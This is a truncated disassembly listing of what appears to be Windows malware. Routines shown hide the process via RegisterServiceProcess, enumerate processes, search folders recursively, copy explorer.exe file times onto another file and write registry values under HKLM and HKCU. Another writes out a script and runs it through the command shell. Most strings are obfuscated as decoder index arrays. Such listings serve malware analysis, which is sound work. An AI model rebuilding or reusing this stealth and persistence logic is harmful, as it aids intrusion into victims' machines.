sub_40CBB0+1C6j mov eax, [esp+280h+var_219] push eax call sub_401E24 add esp, 4 push ebx nop call near ptr 2820000h pop ebx loc_40CDAE: ; CODE XREF: sub_40CBB0+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CBB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CE60 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CE60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CE60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CEE0: ; CODE XREF: ___:loc_40226Bj push 0FFFFFFFFh push offset loc_438D86 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF60 proc near ; CODE XREF: sub_402257j var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_50FAD8 push esi push offset aS_2 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D027 loc_40CFB0: ; CODE XREF: sub_40CF60+C5j test [esp+558h+var_548], 10h jz short loc_40D017 cmp [esp+558h+var_51C], 2Eh jnz short loc_40CFCA mov al, [esp+558h+var_51B] test al, al jz short loc_40D017 cmp al, 2Eh jz short loc_40D017 loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_443684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_402257 add esp, 2Ch mov ebp, eax loc_40D017: ; CODE XREF: sub_40CF60+55j ; sub_40CF60+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx call near ptr 2860000h nop test eax, eax jnz short loc_40CFB0 loc_40D027: ; CODE XREF: sub_40CF60+4Ej push ebx nop call near ptr 285027Ch mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_443684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2870000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D0BB loc_40D068: ; CODE XREF: sub_40CF60+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_401523 add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2860000h test eax, eax jnz short loc_40D068 loc_40D0BB: ; CODE XREF: sub_40CF60+106j push ebx nop call near ptr 285027Ch pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40CF60 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D130 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D130 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_40D130 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+47h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+75h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 add esi, 0A3h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D2E0: ; CODE XREF: ___:004013CAj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 2871CFFh push eax nop call near ptr 2871176h mov eax, dword_4470A0 test eax, eax jz loc_40D403 mov ecx, dword_44709C test ecx, ecx jz loc_40D403 mov ecx, dword_446F68 test ecx, ecx jz loc_40D403 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_447098, eax jz loc_40D403 push ebp push offset dword_446F70 push eax xor ebp, ebp mov dword_446F70, 128h call dword_44709C ; Process32First test eax, eax jz loc_40D3EC push ebx mov ebx, [esp+110h] push esi mov esi, dword_50FAD4 push edi loc_40D36D: ; CODE XREF: ___:0040D3E7j mov edi, offset dword_446F94 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_446F94 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_446F94 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D3D3 mov edi, offset dword_446F94 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_446F94 mov ecx, ebx call sub_401681 push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D3D4 loc_40D3D3: ; CODE XREF: ___:0040D3ABj inc ebp loc_40D3D4: ; CODE XREF: ___:0040D3D1j mov eax, dword_447098 push offset dword_446F70 push eax call dword_446F68 ; Process32Next test eax, eax jnz short loc_40D36D pop edi pop esi pop ebx loc_40D3EC: ; CODE XREF: ___:0040D357j mov ecx, dword_447098 push ecx call near ptr 28207FBh nop mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D403: ; CODE XREF: ___:0040D306j ; ___:0040D314j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D460: ; CODE XREF: ___:00401F91j sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax nop call near ptr 2880CB7h mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_50F8E8 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 2880730h mov ebx, dword_50F8D8 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 2880000h push esi call ebx loc_40D526: ; CODE XREF: ___:0040D4C9j ; ___:0040D50Bj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D580 proc near ; CODE XREF: sub_401B59j var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_401424 push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C5D push eax nop call near ptr 27E0000h lea ecx, [esp+1A8h+var_16C] call sub_4017E4 push eax lea ecx, [esi+4] call sub_4015D7 lea ecx, [esp+1A8h+var_184] call sub_401424 mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C5D push eax push 0 nop call near ptr 2871CFFh push eax nop call near ptr 2871176h push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27C0890h mov esi, eax test esi, esi jz short loc_40D671 mov edi, dword_50F8A0 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_4470A4, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_4470A0, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44709C, eax call edi mov dword_446F68, eax mov eax, dword_4470A4 test eax, eax jz short loc_40D671 push ebx push 0 call eax loc_40D671: ; CODE XREF: sub_40D580+A7j ; sub_40D580+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+1B0h+var_184] call sub_402117 test eax, eax jnz short loc_40D6A8 mov al, byte_44718F test al, al jz short loc_40D6A8 mov ecx, esi call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 loc_40D6A8: ; CODE XREF: sub_40D580+10Dj ; sub_40D580+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019B5 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017E4 push eax call sub_4015FA sub_40D580 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h dd 8D50FFFFh, 0A8248Ch, 28680000h, 5100443Bh, 0C90BE890h dd 3D8B001Dh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 404519E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h dd 85D6FF50h, 0A0D074C0h, 4477EBh, 74C0845Dh, 0CC358B39h dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B20h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 84E80000h, 90023D2Bh, 874C085h, 0DFE8006Ah dd 907782C4h, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB10 proc near ; CODE XREF: sub_401195j mov al, byte_447191 test al, al jz short loc_40DB24 push offset word_447192 nop call near ptr 27D08ABh loc_40DB24: ; CODE XREF: sub_40DB10+7j mov al, 1 retn sub_40DB10 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB40 proc near ; CODE XREF: sub_401E5Bj var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DB40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 call near ptr 2871CFFh nop push eax nop call near ptr 2871176h lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27B0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019B5 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017E4 push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_443684 push ecx nop call sub_5EA1BD add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx nop call near ptr 2850000h mov esi, eax test esi, esi jbe loc_40E0A1 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_401424 push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019B5 add esp, 18h mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+708h+var_634] push 4 push ecx mov byte ptr [esp+710h+var_4], 2 call sub_4019B5 add esp, 30h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019B5 add esp, 18h mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+714h+var_67C] push 4 push eax mov byte ptr [esp+71Ch+var_4], 4 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019B5 add esp, 1Ch mov [esp+6E0h+var_6C8], eax push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+708h+var_5D4] push 7 push edx mov byte ptr [esp+710h+var_4], 6 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+714h+var_58C] push 4 push ecx mov byte ptr [esp+71Ch+var_4], 8 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 mov byte ptr [esp+734h+var_4], 9 push 18h push 5 push 4Eh push 14h push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019B5 add esp, 7Ch mov [esp+6E0h+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+6F8h+var_5BC] push 53h push eax mov byte ptr [esp+700h+var_4], 0Ah call sub_4019B5 add esp, 20h mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019B5 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017E4 mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017E4 mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017E4 mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017E4 mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017E4 mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017E4 mov ecx, [esp+700h+var_6C4] push eax call sub_4017E4 mov ecx, [esp+704h+var_6BC] push eax call sub_4017E4 push eax push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" lea edx, [esp+710h+var_6AC] push edx call sub_40102D add esp, 34h lea ecx, [esp+6E0h+var_64C] mov byte ptr [esp+6E0h+var_4], 0Bh call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017E4 push eax push esi nop call near ptr 27C0000h push esi nop call near ptr 28207FBh mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 2871CFFh push eax nop call near ptr 2871176h lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call sub_5EA1BD add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax nop call near ptr 27F0000h lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 lea eax, [esp+6FCh+var_110] push 0 push eax push 0 call near ptr 27E0517h nop lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E0A1: ; CODE XREF: sub_40DB40+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DB40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E220 proc near ; CODE XREF: sub_401726j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_401424 lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 mov ebp, dword_50F754 push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx call near ptr 28F035Eh nop push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2930000h nop mov edx, [esp+80h+var_70] push edx nop call near ptr 28F035Eh lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx call near ptr 28F035Eh nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx nop 